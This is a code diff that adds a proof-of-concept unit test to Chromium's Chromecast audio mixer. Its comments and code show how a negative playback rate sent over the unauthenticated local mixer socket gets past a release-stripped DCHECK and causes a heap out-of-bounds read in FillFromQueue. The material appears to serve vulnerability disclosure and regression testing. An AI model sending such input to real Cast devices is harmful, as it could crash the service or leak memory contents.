diff --git a/chromecast/media/cma/backend/mixer/BUILD.gn b/chromecast/media/cma/backend/mixer/BUILD.gn index f287e9938db57..9bad870aa1b12 100644 --- a/chromecast/media/cma/backend/mixer/BUILD.gn +++ b/chromecast/media/cma/backend/mixer/BUILD.gn @@ -153,6 +153,7 @@ cast_source_set("unittests") { testonly = true sources = [ "filter_group_unittest.cc", + "mixer_input_connection_poc_test.cc", "mock_mixer_source.cc", "mock_mixer_source.h", "mock_post_processor_factory.cc", @@ -173,6 +174,7 @@ cast_source_set("unittests") { "//chromecast/media/audio/mixer_service:common", "//chromecast/media/audio/mixer_service:loopback_connection", "//chromecast/media/audio/mixer_service:redirected_audio_connection", + "//chromecast/media/audio/mixer_service:test_support", "//chromecast/media/cma/backend/mixer/post_processors:unittests", "//chromecast/media/cma/base", "//chromecast/public", diff --git a/chromecast/media/cma/backend/mixer/mixer_input_connection_poc_test.cc b/chromecast/media/cma/backend/mixer/mixer_input_connection_poc_test.cc new file mode 100644 index 0000000000000..83ace4a296693 --- /dev/null +++ b/chromecast/media/cma/backend/mixer/mixer_input_connection_poc_test.cc @@ -0,0 +1,221 @@ +// POC: Heap OOB read in MixerInputConnection::FillFromQueue via negative +// playback rate. +// +// The Cast mixer service accepts unauthenticated local UDS connections. A +// client may send a SetPlaybackRate message with a negative |playback_rate|. +// MixerInputConnection::SetMediaPlaybackRate() validates rate > 0 only with +// DCHECK_GT (stripped in release). The negative rate flows into +// FillTimestampedAudio() where: +// +// frames_to_crop = round(error * sample_rate * playback_rate / 1e6) +// +// becomes a large negative value, which is added to |current_buffer_offset_|. +// FillFromQueue() then performs: +// +// std::copy_n(buffer_samples + current_buffer_offset_, frames_to_copy, ...) +// +// reading ~192 KB before the heap allocation. +// +// This test sets up a StreamMixer with a mock output that reports a positive +// rendering-delay timestamp (so the timestamped-audio path is taken), creates +// a MixerInputConnection in timestamped mode, sets the playback rate to -1.0, +// queues a small audio buffer with a timestamp far in the past, and runs one +// mixer fill. ASAN reports a heap-buffer-overflow READ at the std::copy_n in +// FillFromQueue. + +#include +#include +#include +#include + +#include "base/run_loop.h" +#include "base/strings/stringprintf.h" +#include "base/task/single_thread_task_runner.h" +#include "base/test/task_environment.h" +#include "chromecast/media/audio/mixer_service/mixer_service_transport.pb.h" +#include "chromecast/media/audio/mixer_service/mixer_socket.h" +#include "chromecast/media/audio/mixer_service/mock_mixer_socket.h" +#include "chromecast/media/audio/net/common.pb.h" +#include "chromecast/media/cma/backend/mixer/mixer_input_connection.h" +#include "chromecast/media/cma/backend/mixer/mock_post_processor_factory.h" +#include "chromecast/media/cma/backend/mixer/stream_mixer.h" +#include "chromecast/public/media/media_pipeline_backend.h" +#include "chromecast/public/media/mixer_output_stream.h" +#include "testing/gmock/include/gmock/gmock.h" +#include "testing/gtest/include/gtest/gtest.h" + +using testing::_; +using testing::NiceMock; +using testing::Return; + +namespace chromecast { +namespace media { +namespace { + +constexpr int kSampleRate = 48000; +constexpr int kOutputFrames = 256; +// Positive monotonic timestamp returned by the mock output so that +// FillTimestampedAudio() does not early-return on a negative playout time. +constexpr int64_t kPlayoutTimestampUs = 1000000; +// Audio buffer timestamp far in the past so that +// |error = playout_time - buffer_timestamp| is large and positive (clamped to +// kTimestampErrorLimit = 1e6). With playback_rate = -1.0 this yields +// frames_to_crop = round(1e6 * 48000 * -1.0 / 1e6) = -48000. +constexpr int64_t kBufferTimestampUs = 1000; +constexpr int kBufferFrames = 100; + +class MockOutput : public MixerOutputStream { + public: + MockOutput() { + ON_CALL(*this, Start(_, _)) + .WillByDefault([this](int sr, int ch) { + channels_ = ch; + sample_rate_ = sr; + return true; + }); + ON_CALL(*this, GetNumChannels()).WillByDefault([this]() { + return channels_; + }); + ON_CALL(*this, GetSampleRate()).WillByDefault([this]() { + return sample_rate_; + }); + ON_CALL(*this, GetRenderingDelay()).WillByDefault([]() { + // {delay_microseconds, timestamp_microseconds} + return MediaPipelineBackend::AudioDecoder::RenderingDelay( + 0, kPlayoutTimestampUs); + }); + ON_CALL(*this, OptimalWriteFramesCount()) + .WillByDefault(Return(kOutputFrames)); + ON_CALL(*this, Write(_, _, _)) + .WillByDefault([](const float*, int, bool* interrupted) { + *interrupted = false; + return true; + }); + } + + MOCK_METHOD2(Start, bool(int, int)); + MOCK_METHOD0(GetNumChannels, int()); + MOCK_METHOD0(GetSampleRate, int()); + MOCK_METHOD0(GetRenderingDelay, + MediaPipelineBackend::AudioDecoder::RenderingDelay()); + MOCK_METHOD0(OptimalWriteFramesCount, int()); + MOCK_METHOD3(Write, bool(const float*, int, bool*)); + MOCK_METHOD0(Stop, void()); + + private: + int channels_ = 0; + int sample_rate_ = 0; +}; + +// Minimal post-processor pipeline (mirrors StreamMixerTest) so that the +// "default" device-id input is routed to a filter group and gets pulled by +// MixAndFilter(). +const char kPipelineJson[] = R"json( +{ + "postprocessors": { + "output_streams": [{ + "streams": [ "default" ], + "num_input_channels": 2, + "processors": [{ + "processor": "delay.so", + "config": { "delay": 0 } + }] + }], + "mix": { + "num_input_channels": 2, + "processors": [{ + "processor": "delay.so", + "config": { "delay": 0 } + }] + }, + "linearize": { + "num_input_channels": 2, + "processors": [{ + "processor": "delay.so", + "config": { "delay": 0 } + }] + } + } +} +)json"; + +} // namespace + +TEST(MixerInputConnectionPoc, NegativePlaybackRateHeapOOBRead) { + base::test::SingleThreadTaskEnvironment task_environment{ + base::test::TaskEnvironment::MainThreadType::IO}; + + auto output = std::make_unique>(); + auto mixer = std::make_unique( + std::move(output), base::SingleThreadTaskRunner::GetCurrentDefault(), + "{}"); + mixer->SetNumOutputChannelsForTest(2); + mixer->ResetPostProcessorsForTest( + std::make_unique(), kPipelineJson); + + // Build the malicious OutputStreamParams: timestamped mode, mono, 48 kHz, + // float planar. fade_frames is kept tiny so the AudioFader doesn't eat the + // first request before reaching the queue. + mixer_service::OutputStreamParams params; + params.set_sample_rate(kSampleRate); + params.set_num_channels(1); + params.set_sample_format(audio_service::SAMPLE_FORMAT_FLOAT_P); + params.set_fade_frames(4); + params.mutable_timestamped_audio_config()->set_max_timestamp_error(2000); + + auto socket = std::make_unique>(); + ON_CALL(*socket, SendProto(_, _)).WillByDefault(Return(true)); + ON_CALL(*socket, SendAudioBuffer(_, _, _)).WillByDefault(Return(true)); + + // MixerInputConnection manages its own lifetime; it adds itself to |mixer| + // in the constructor. + auto* connection = + new MixerInputConnection(mixer.get(), std::move(socket), params); + + // Let StreamMixer::AddInput → MixerInput::Initialize → + // InitializeAudioPlayback run so state_ becomes kNormalPlayback. + for (int i = 0; i < 3; ++i) { + base::RunLoop loop; + base::SingleThreadTaskRunner::GetCurrentDefault()->PostTask( + FROM_HERE, loop.QuitClosure()); + loop.Run(); + } + + // Send the negative playback rate exactly as a remote client would over the + // socket. SetMediaPlaybackRate only DCHECKs > 0. + mixer_service::MixerSocket::Delegate* delegate = connection; + mixer_service::Generic rate_msg; + rate_msg.mutable_set_playback_rate()->set_playback_rate(-1.0f); + delegate->HandleMetadata(rate_msg); + + // Queue one small audio buffer with a timestamp far in the past. + // HandleAudioData converts/copies it into an internal pool buffer and calls + // WritePcm() → QueueData(). + std::vector pcm(kBufferFrames, 0.5f); + delegate->HandleAudioData(reinterpret_cast(pcm.data()), + pcm.size() * sizeof(float), kBufferTimestampUs); + + // Drive the mixer playback loop. On each iteration StreamMixer::WriteOneBuffer + // calls MixerInput::Render → MixerInputConnection::FillAudioPlaybackFrames → + // PlaybackRateShifter::FillFrames → ... → FillTimestampedAudio → + // FillFromQueue with current_buffer_offset_ = -48000. + // + // ASAN will report a heap-buffer-overflow READ at the std::copy_n in + // FillFromQueue (mixer_input_connection.cc). + for (int i = 0; i < 10; ++i) { + base::RunLoop loop; + base::SingleThreadTaskRunner::GetCurrentDefault()->PostTask( + FROM_HERE, loop.QuitClosure()); + loop.Run(); + } + + // If we reach here without ASAN tripping, the bug did not reproduce — fail + // loudly so the test result is unambiguous. + ADD_FAILURE() << "Expected ASAN heap-buffer-overflow in " + "MixerInputConnection::FillFromQueue was not triggered"; + + mixer.reset(); +} + +} // namespace media +} // namespace chromecast